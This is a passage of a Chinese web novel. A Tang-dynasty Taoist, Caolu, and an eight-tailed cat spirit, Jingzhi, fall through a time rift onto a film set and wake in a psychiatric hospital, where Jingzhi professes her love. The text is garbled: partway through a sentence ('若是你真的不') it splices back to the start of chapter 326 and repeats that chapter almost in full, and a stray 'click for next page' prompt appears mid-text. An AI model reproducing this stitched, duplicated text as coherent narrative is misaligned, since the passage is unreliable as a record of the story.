草庐居士奇怪的看了静之一眼,感叹天门里居然还能遇到人…… 不,不是人。 草庐还没来得及看清飘到身边的这个神兽,腰身就被用力一撞。 静之搂着他的腰哭得肝肠寸断,仿佛刚刚死了爹。 “九哥,我恨你,就算你跟着过来了,我也恨你。” “除非你让我跟着你,我就不恨你了,555~” 一金一银两个徒弟眼里含着对八卦的热切,被时光乱流越卷越远。 草庐从未被一只雌性灵兽如此抱过,浑身不自在。 两只手用力掰着她的头往外推,嘴里满是古人的教条。 “姑娘,男女授受不亲,而且草庐乃是修道之人,此举甚为不妥。” “我观你功德无量,不会贸然对你出手,请你速速离去。” 刚刚静之的脸颊都被推红了,她依旧不放。 听到最后一句话,她包着眼泪,抖着唇说:“你,你赶我走?” “我非你口中的九哥。”草庐四处张望一下,有些局促的扯回腰间的带子紧紧系上,“咱们萍水相逢,谈何赶不赶,不过是一面之缘。” 刚想后撤一点,前方一股强大的吸力突然袭来。 草庐不仅没有成功远离静之,反而如千斤坠一般,压着她用力朝下方的天空砸去。 速度太快,两个人压根来不及反应。 眼瞅着就要摔成一坨肉饼,静之放出两条尾巴。 一条紧紧圈住他,防止他等会直接落地成盒。 一条蓄势待发,瞅准时机,缠上了茂密的枝干。 然而加速度太快。 枝干只缓和了两人下落的速度。 咔嚓一声。 枝干断裂。 静之尾巴根坠得生疼,闷哼的同时,仍紧紧的圈住草庐的腰。 噼里啪啦几声响。 繁茂的大树被两人压弯、压断了一侧所有枝桠,随即“砰”的一声,两人砸落在地。 落地之时,垫底的静之直接被草庐和无情的重力加速度怼晕过去。 虽然下降速度太快,他来不及挪动位置。 但草庐仍觉得心里有愧。 眼瞅着救命恩人生死不明,他曲着手指赶紧放到她人中探一下鼻息。 好在,还有气。 还没来得及将她拉起,一柄重剑就朝他迎头劈来。 草庐目光一厉,当即反手抽出身后背的剑横在头顶。 “锵”一声。 那个穿盔甲的敌人连连后退几步,脚下一蹬,便腾空而起,朝上飞去。 想逃?没门。 没有人能袭击他后全身而退的。 草庐冷着脸,跟着脚下一点,追了上去。 手中利剑快速横劈竖砍,敌人的裤子在几息之内变成了破布条。 他仿佛受了惊,身子悬在半空不停扭动,一点都不符合武学身法。 就在草庐凝眉思考他这是要出哪一招时,空气中不知为何,突然响起铮的一声响。 还在往上飞的敌人突然哀嚎掉落。 追得太近,就在敌人屁股底下的草庐,万万没想到报应来的如此之快。 他直接被人当做垫背,用力砸回地面。 “砰”的一声,烟尘四起。 “咔咔咔!” 副导演从摄影机后探出头,一脸吃惊,“谁套的招啊,这么牛逼?” 导演从小马扎上起身,一把推开他的脸,眼睛不离地上昏迷的两人,“我套的,摄影师,刚刚的录下来没有啊?” “录着呢!”有人回了一声。 敌人,也就是这部剧的男主演,捂着烂裤裆骂骂咧咧爬了起来,解开身上断掉的威亚,走到保姆车里休息去了。 副导演走过去翻过没有动静的草庐一看,“导演,这不是我们请的群演啊。” 又翻过静之一看,“哇靠,导演,这么漂亮的女主角,你都舍得套这么狠的打戏啊?” 导演皱眉,抬脚走了过去。 打量两眼昏迷的两人后,环顾四周,“这两个不是我们剧组的,黄道士呢?” 穿着劣质黄色道袍的假道士突然从后面化妆间窜出来,“来了来了,不好意思,刚刚拉肚子去了,要开拍了吗?” 副导演把台本往他脸上轻轻拍了拍,“我看你可以开摆了。” 那黄道士还在追问为什么的时候,导演挥手招来场记,“去叫救护车吧,别死在这儿。” 场记应了声好,还没来得及走呢,草庐紧闭的眼睛突然抖动着睁开一条缝,他低声呢喃: “现在当政的是谁?” 场记半蹲下来,凑近耳朵安到他嘴边,“姓江,你不要紧吧,要不要叫救护车啊?” 救护车? 是什么东西? 草庐浑身皆痛,一时半会起不来身,只得昂着脖子发问: “不是李世民吗?现在难道不是唐皇当政?” 场记愣了一下,回头朝导演比了比脑子,又摆了摆手。 这才回首朝草庐微笑,“江*民啦,你休息会儿,我带你去医院。” 医院? 是医馆吗? 草庐指了指他脚边躺着的静之,“她跟我是一起的,麻烦把她一起送去医馆。” 场记朝他比了个ok:“行,没问题。” 过了一会儿,一辆面包车过来了。 几个抬着担架的人走过来,把人放上担架后,利索的抬回车上,像是怕人突然跑了似的。 车辆轰鸣声远去。 看着白色车身上的【玛利亚精神病院】几个字眼,场记扭头朝导演说: “既然是一起的,那女的脑子可能也有病,说不定就是一起从精神病院逃出来的。” “不过,刚刚那个老头没吊威亚,是怎么飞那么高的呢?” 第325章 我的表,它响了。 天刚蒙蒙亮,双双被送入精神病院的草庐和静之就听到耳边一直有窸窸窣窣的声音,还有人在低声交谈。 交谈声中不时夹杂着几声怪叫。 正是这几声拔高音量的怪叫彻底把二人吵醒。 “威~武~!” “安静!安静!” 静之一睁眼,首先映入眼帘的,就是对面三个戴着法官卷发的神经病。 之所以认为他们是神经病,那是因为他们此时统一着装蓝色病号服,最右侧一人头顶甚至都不是卷发,是灰色的拖把头。 他们桌上的铭牌甚至都是手写,中间法官的名字上甚至被涂鸦了一把卡通小锤子。 旁边还坐着十几名围观群众。 群众看起来也是颠颠的。 有在室内撑伞,嘴里直叨咕我是个蘑菇的;有自己跟自己石头剪刀布的;甚至还有一人往自己身上搭一块蓝色条纹床单,嘴里直嚷嚷着“朕的大清还没亡,你们休想骗我!” 静之微微蹙起眉头,想捏两把胀痛的眉心,却发现手动弹不得。 她低头一看,完了。 她什么时候也穿上病号服了,还是神经病特有的拘束衣。 两手被长长的袖子交叉绑着掩在身后,两脚被固定在椅子上。 “唔唔!!!” 捏妈,谁往老子嘴上贴胶布的! 她剧烈挣扎的举动,让椅背咯吱作响。 精神病院的椅子质量就是好,都这样了,还不散架。 然而这咯吱响的动静,直接让对面一众癫人吓得后仰身子。 “老老大,她不会跳起来打我们吧?” “笨蛋,要叫我法官大人!”看起来有些睿智的“法官”朝他的副手扬了扬下巴,“把他拖出去击毙一百次!” “哦。” 副手依言拖走装土匪小弟的男人,站在一旁“biu”了几下,挠着脑门疑惑发问: “大人,我打几下了?” “法官”无语,只是一味的翻白眼,“你痴线的吗?” 副手无辜对手指,“大人,我就是神经病啊,今早药还没吃。” 静之憋笑憋得都快翻白眼。 奈何嘴上一块白胶布实在粘得紧,她连咧一下嘴角都做不到。 “好了好了!”“法官”拿起蓝色拖鞋当法槌,啪啪打了两下桌面,一脸严肃的用拖鞋指着挣扎不断的两人。 “听说你们两个是电影武行,罪名是扰乱剧组拍摄进度,还意图伤害男演员,你们认不认罪?” 静之惊得瞪大双眼。 认个锤子。 要认也不是在这儿认。 不是,她怎么被带偏了? 她没罪! 一来就昏了,她哪里有空伤害什么男演员。 “唔唔唔!” 身边的人唔唔叫了一声,引起了静之的注意。 她身子一僵,这才记得在时空乱流里见到那个极像朱九的古人。 “……” “……” 面面相觑。 草庐一脸疑惑加迷茫,眼里又有几分歉意。 静之憋得眼泪都快出来了。 阿九也有这么一天。 她好想笑,却笑不出来。 此时的草庐,梳得整齐的发髻四散开来,鬓角和额前的碎发整个炸开,再搭上他留的半白胡须,还有他那无辜迷茫的眼神,活脱脱就像是一只流浪中的潦草小狗。 草庐(⊙_☉):她怎么流眼泪了,难道是他给她撞伤了? 草庐边唔唔叫,边扭动着身体。 “法官”刚想说什么,紧闭的病房门外突然响起一声惊呼。 “魔女来啦!魔女来啦!!” 屋内这群人,包括法官本人,瞬间溃散,各个道具一丢,冲回自己病床上,拉了被子罩住自己的头。 室内安静到只有“蘑菇”在碎碎念的声音。 寂静的走廊里传来不紧不慢的高跟鞋行走声。 草庐神经紧绷,两眼锐利,直盯房门底下不断接近的黑影。 刚刚外头的人叫魔女,他清楚听到了。 难道是刚与他交过手的妖姬? 她也被天门吸进来了? “咔嗒。” 轻微的开门声让探头查看的癫佬们又把头缩了回去。 来人是位身材高挑,容貌姝丽的女人。 长裙加衬衫,普普通通的上班族款式被她穿出了不一样的风采。 简简单单的编发把她光洁的额头和姣好的脸型都露出来了。 恰到好处的平眉,搭上仿佛含着烟波的浅褐色眸子,又别一股清冷感。 静之怔怔的看着她,只觉得她是自己见过的,最漂亮的女人。 “滴。” 随着女人的走近,静之手腕上的表突兀的响了一声。 她瞬间回神,并朝隔壁依旧一脸警惕的草庐投去一个抱歉的眼神。 对不起,阿九,她太俊了。 为了那张被女娲精雕细琢过的脸狠狠心动一下,你不会怪我吧? 女人走过来,皱着眉轻轻将静之嘴巴上的胶布扣起一个小角。 “医护给你粘的?都说过不要那么粗暴了,真是的。” 静之望着在面前放大的美丽容颜,手表又滴了一声。 她缓缓闭上眼,心里开始不断忏悔。 忏悔没两下,又睁眼盯着女人瞧。 对不起,阿九,她靠太近了,我的灵魂,它被动出轨了。 我的眼睛,好像也不听使唤了。 在gigi面前,这坐在椅子上的女人何尝不是她见过的最美丽的女人。 如缎面一般的柔顺白发被胡乱扎进禁锢带里绷着,两条细细的剑眉轻蹙,一双乌溜溜,还微微上翘的椭圆形猫瞳此时微微泛着光,有些失神的盯着她。 gigi抿起嘴唇,轻笑一声。 “这么看着我做什么?” 眼神挪到隔壁位置上的草庐时,他眼里的警惕又让她感到疑惑。 她还没来得及给他做心理测试,他警惕个什么劲儿。 这两个人,果然都怪怪的。 胶布被撕开的一刹那,静之立马扭头跟草庐说: “对不起,我保证我的表以后只为你响,刚刚是个意外。” 草庐一脸懵逼,什么表? 而且,该是他向她道歉来着的。 于是gigi一揭开他嘴上的胶布后,草庐微微侧身,向静之颔首, “是草庐不是,拖累姑娘了。” 作为心理医生的gigi,环着胸托着下巴,也不说话,就这般静静地看着这两人互相颔首道歉。 果然,这俩…还是有点毛病在身上的吧…… 第326章 三年之约 道歉道着道着,静之觉得自己确实有点毛病。 他又不记得她了,她再道歉又有什么用呢。 于是静之回头朝gigi笑了笑,左右扭了下身子说: “能不能给我打开这东西啊?我真没病,是你们误会了。” 她抿了抿嘴,接着解释道:“而且,不是我没能力挣脱开,是我不想破坏你这里的东西哦。” 语言符合逻辑。 就是性格有些臭屁。 gigi的眼神在静之看似正常人的表情上流连了一下,暂且给她拉进看似无害的待定精神病名单里。 解开静之的束缚衣后,她扭头看向草庐。 这个男人警惕的眼神才是大问题。 “现在是休息时间,我放开你们,你们乖乖到床上躺着好不好,等会医生就会过来给你们诊断了。” 草庐对上gigi的绝色容颜,居然没有半分动心,眼里全是满满的警惕和宁死不屈。 “施施姑娘已死,看来你不是施施,你是妖姬!” 静之听得一头雾水。 什么施施,什么妖姬,难道他们两个穿越前认识吗? 静之属实摸不着头脑。 而且佳人在前,她这个后来者,还有希望能跟他再续前缘吗? gigi却是遗憾的微微摇头,直接把草庐拉进被迫害妄想症的名单里。 具体严重到什么程度,得等她收集好资料,在进行测试后再说。 这种病人,首先就得顺着他的话来。 “原来你叫草庐啊?”gigi扶着膝盖,弯下腰,微笑着朝他解释: “我不是你口中的施施,也不是什么妖姬,我是这里的心理医生,你可以叫我gigi。” 姬姬? 别以为用个叠词装可爱,就能够抹去她妖姬的身份。 正邪不两立,他绝不会对她妥协的。 草庐再次确认一眼她熟悉的脸后,撇过头去,缓缓闭上眼: “既然草庐被你妖法所及,那我无话可说。” “要杀便杀,无需多言。” gigi:看来确实病的不轻。 他这般态度,她都不敢放开他了。 毕竟入院时的病历本上,他的入院原因直截了当写着:拿开刃的剑胡乱攻击人。 就在她一筹莫展的时候,静之半蹲下来,扶着他的椅背,指了指施施,“你说她是妖姬,但是她身上没有妖气呀,说不定只是长得像呢。” 对上救命恩人,草庐的表情有了些微和缓。 他耐下性子,低下头紧闭双眼。 运转法力暂时开了天眼。 再睁眼时,眼里微微闪过一丝金光。 他抬起头看了施施一眼,随即皱起了眉。 “她就是妖姬,我没看错。” 刚刚他开天眼时的灵力波动,静之感觉到了,无论转了几世,阿九从不会在正事上说谎。 一时之间,她把住草庐的椅背,把他连人带椅往后拖,“gigi小姐,抱歉了,我更相信他。” “虽然你很靓,但是他的火眼金睛也不是吃素的,他说你是妖,那你就是。你平时都没感觉异于常人吗?” 异于常人? 她看他们才异于常人! 什么妖姬,什么妖气,又不是在演电影! gigi张了张嘴,觉得眼前的两个人好像都有那个大病,实在无语,索性捏了捏眉心,说了句你们先休息会儿,就开门走了出去。 不给他解是吧,反正我有手。 静之朝病房门做了个鬼脸,然后帮草庐解开了束缚衣。 草庐天眼还未收回,刚站起身子,就看到她身后的几条隐形的尾巴正亲昵的对他勾勾搭搭。 有一条甚至轻柔的卷住了他的脚踝。 草庐嘴里直念叨着男女授受不亲,那条腿极速后撤,连退好几步,双手抱拳,撇过脸朝静之微微俯身。 “姑娘,请自重。” “您的救命之恩,等我消灭了东瀛鬼王,必定会找机会报答您。” 感受到尾巴的拉扯,静之不禁有些懵逼。 他这是看到她的真身了? 可她身上除了林九送的好几件隐藏原形的首饰,还有朱九送的。 难道草庐的修为比他的前几世都要高的吗? 猫怎么能忍得住好奇的小心思,她张口就问:“你看出来了?” “嗯。”草庐在离她三米远的地方,轻轻点了一下头,“第一次见面的时候,其实就看到你的耳朵了,如今只是看穿了你的修为。” “哈???” 她简直目瞪口呆。 他可真是,这敏锐的目光,一世更比一世强。 草庐一下就看清了她隐藏在眼底的莫名情意。 他脸色微微一变,随即正色劝道: “作为八尾灵猫,姑娘只差一步,即可踏入大道,不应拘泥于小情小爱。” 静之惊得一屁股坐回她刚刚被缚住的椅子上,“我,我没有!” 她越说越小声,因为草庐满脸皆是一心向道,斩妖除魔之意。 比之林九和朱九,少了一分人气,却多了一分侠气跟不食人间烟火的仙气。 这章没有结束,请点击下一页继续阅读! 还未开始追求他,她就隐隐有了感觉。 这辈子,她怕是追不上这个快成半仙的人了。 而且他是几世以来,最快认出她的真身,而且是唯一一个没有认错她品种的人。 这也意味着草庐的修为跟见识远远在他前几世之上。 这样的人,其实更难打动他的内心。 因为他什么都见过了。 然而,静之倔得很。 她梗着脖子,紧紧盯着他反驳道: “没有体会过小情小爱,你又怎么会知道大爱是什么样子的。” “而且,谁说小情小爱跟大爱不能两全。” “我今天就把话给你撂这儿了。” “你叫草庐是吧,我叫林静之,我对你一见钟情了,此生非你不嫁!” “你要是不肯娶我,我就剃发出家。” “要不……咱们处处看呗,万一你看上我了呢?不是说好要报恩?不如……以身相许怎么样?” 她每说一句,就逼近一步。 草庐步步后退,最后被她逼得一屁股坐回椅子上。 草庐是来自唐代隐居已久的道士,他从未见过这般胆大开放,只见一面就逼婚于他的女子。 他惊得半张着嘴,久久回不过神来。 过了半晌,才呐呐说道: “那个……报恩的方式有很多种,并非一定要以身相许,若你想学法术,若是不嫌弃的话,可拜我为师,草庐定当倾囊相授。” “若是非要出家,我在元世界也有相熟的方丈,你若有意,我可为你引荐一下。” 啧。 他还真是油盐不进。 静之环着胸走回椅子旁坐下,翘着二郎腿,彻底和他杠上了。 “我才不……” 刚欲拒绝,但一想到他对她这副避犹不及的态度,若是她拒绝了,这辈子恐怕就很难再寻到一个机会接近他了。 拒绝的话吐到唇边,又缩了回去。 静之没有直接答应他拜他为师的提议。 “拜师就算了,不嫁你也行,嗯……让我跟你三年,若是你真的不道歉道着道着,静之觉得自己确实有点毛病。 他又不记得她了,她再道歉又有什么用呢。 于是静之回头朝gigi笑了笑,左右扭了下身子说: “能不能给我打开这东西啊?我真没病,是你们误会了。” 她抿了抿嘴,接着解释道:“而且,不是我没能力挣脱开,是我不想破坏你这里的东西哦。” 语言符合逻辑。 就是性格有些臭屁。 gigi的眼神在静之看似正常人的表情上流连了一下,暂且给她拉进看似无害的待定精神病名单里。 解开静之的束缚衣后,她扭头看向草庐。 这个男人警惕的眼神才是大问题。 “现在是休息时间,我放开你们,你们乖乖到床上躺着好不好,等会医生就会过来给你们诊断了。” 草庐对上gigi的绝色容颜,居然没有半分动心,眼里全是满满的警惕和宁死不屈。 “施施姑娘已死,看来你不是施施,你是妖姬!” 静之听得一头雾水。 什么施施,什么妖姬,难道他们两个穿越前认识吗? 静之属实摸不着头脑。 而且佳人在前,她这个后来者,还有希望能跟他再续前缘吗? gigi却是遗憾的微微摇头,直接把草庐拉进被迫害妄想症的名单里。 具体严重到什么程度,得等她收集好资料,在进行测试后再说。 这种病人,首先就得顺着他的话来。 “原来你叫草庐啊?”gigi扶着膝盖,弯下腰,微笑着朝他解释: “我不是你口中的施施,也不是什么妖姬,我是这里的心理医生,你可以叫我gigi。” 姬姬? 别以为用个叠词装可爱,就能够抹去她妖姬的身份。 正邪不两立,他绝不会对她妥协的。 草庐再次确认一眼她熟悉的脸后,撇过头去,缓缓闭上眼: “既然草庐被你妖法所及,那我无话可说。” “要杀便杀,无需多言。” gigi:看来确实病的不轻。 他这般态度,她都不敢放开他了。 毕竟入院时的病历本上,他的入院原因直截了当写着:拿开刃的剑胡乱攻击人。 就在她一筹莫展的时候,静之半蹲下来,扶着他的椅背,指了指施施,“你说她是妖姬,但是她身上没有妖气呀,说不定只是长得像呢。” 对上救命恩人,草庐的表情有了些微和缓。 他耐下性子,低下头紧闭双眼。 运转法力暂时开了天眼。 再睁眼时,眼里微微闪过一丝金光。 他抬起头看了施施一眼,随即皱起了眉。 “她就是妖姬,我没看错。” 刚刚他开天眼时的灵力波动,静之感觉到了,无论转了几世,阿九从不会在正事上说谎。 一时之间,她把住草庐的椅背,把他连人带椅往后拖,“gigi小姐,抱歉了,我更相信他。” “虽然你很靓,但是他的火眼金睛也不是吃素的,他说你是妖,那你就是。你平时都没感觉异于常人吗?” 异于常人? 她看他们才异于常人! 什么妖姬,什么妖气,又不是在演电影! gigi张了张嘴,觉得眼前的两个人好像都有那个大病,实在无语,索性捏了捏眉心,说了句你们先休息会儿,就开门走了出去。 不给他解是吧,反正我有手。 静之朝病房门做了个鬼脸,然后帮草庐解开了束缚衣。 草庐天眼还未收回,刚站起身子,就看到她身后的几条隐形的尾巴正亲昵的对他勾勾搭搭。 有一条甚至轻柔的卷住了他的脚踝。 草庐嘴里直念叨着男女授受不亲,那条腿极速后撤,连退好几步,双手抱拳,撇过脸朝静之微微俯身。 “姑娘,请自重。” “您的救命之恩,等我消灭了东瀛鬼王,必定会找机会报答您。” 感受到尾巴的拉扯,静之不禁有些懵逼。 他这是看到她的真身了? 可她身上除了林九送的好几件隐藏原形的首饰,还有朱九送的。 难道草庐的修为比他的前几世都要高的吗? 猫怎么能忍得住好奇的小心思,她张口就问:“你看出来了?” “嗯。”草庐在离她三米远的地方,轻轻点了一下头,“第一次见面的时候,其实就看到你的耳朵了,如今只是看穿了你的修为。” “哈???” 她简直目瞪口呆。 他可真是,这敏锐的目光,一世更比一世强。 草庐一下就看清了她隐藏在眼底的莫名情意。 他脸色微微一变,随即正色劝道: “作为八尾灵猫,姑娘只差一步,即可踏入大道,不应拘泥于小情小爱。” 静之惊得一屁股坐回她刚刚被缚住的椅子上,“我,我没有!” 她越说越小声,因为草庐满脸皆是一心向道,斩妖除魔之意。 比之林九和朱九,少了一分人气,却多了一分侠气跟不食人间烟火的仙气。 这章没有结束,请点击下一页继续阅读! 还未开始追求他,她就隐隐有了感觉。 这辈子,她怕是追不上这个快成半仙的人了。 而且他是几世以来,最快认出她的真身,而且是唯一一个没有认错她品种的人。 这也意味着草庐的修为跟见识远远在他前几世之上。 这样的人,其实更难打动他的内心。 因为他什么都见过了。 然而,静之倔得很。 她梗着脖子,紧紧盯着他反驳道: “没有体会过小情小爱,你又怎么会知道大爱是什么样子的。” “而且,谁说小情小爱跟大爱不能两全。” “我今天就把话给你撂这儿了。” “你叫草庐是吧,我叫林静之,我对你一见钟情了,此生非你不嫁!” “你要是不肯娶我,我就剃发出家。” “要不……咱们处处看呗,万一你看上我了呢?不是说好要报恩?不如……以身相许怎么样?” 她每说一句,就逼近一步。 草庐步步后退,最后被她逼得一屁股坐回椅子上。 草庐是来自唐代隐居已久的道士,他从未见过这般胆大开放,只见一面就逼婚于他的女子。 他惊得半张着嘴,久久回不过神来。 过了半晌,才呐呐说道: “那个……报恩的方式有很多种,并非一定要以身相许,若你想学法术,若是不嫌弃的话,可拜我为师,草庐定当倾囊相授。” “若是非要出家,我在元世界也有相熟的方丈,你若有意,我可为你引荐一下。” 啧。 他还真是油盐不进。 静之环着胸走回椅子旁坐下,翘着二郎腿,彻底和他杠上了。 “我才不……” 刚欲拒绝,但一想到他对她这副避犹不及的态度,若是她拒绝了,这辈子恐怕就很难再寻到一个机会接近他了。 拒绝的话吐到唇边,又缩了回去。 静之没有直接答应他拜他为师的提议。 “拜师就算了,不嫁你也行,嗯……让我跟你三年,若是你真的不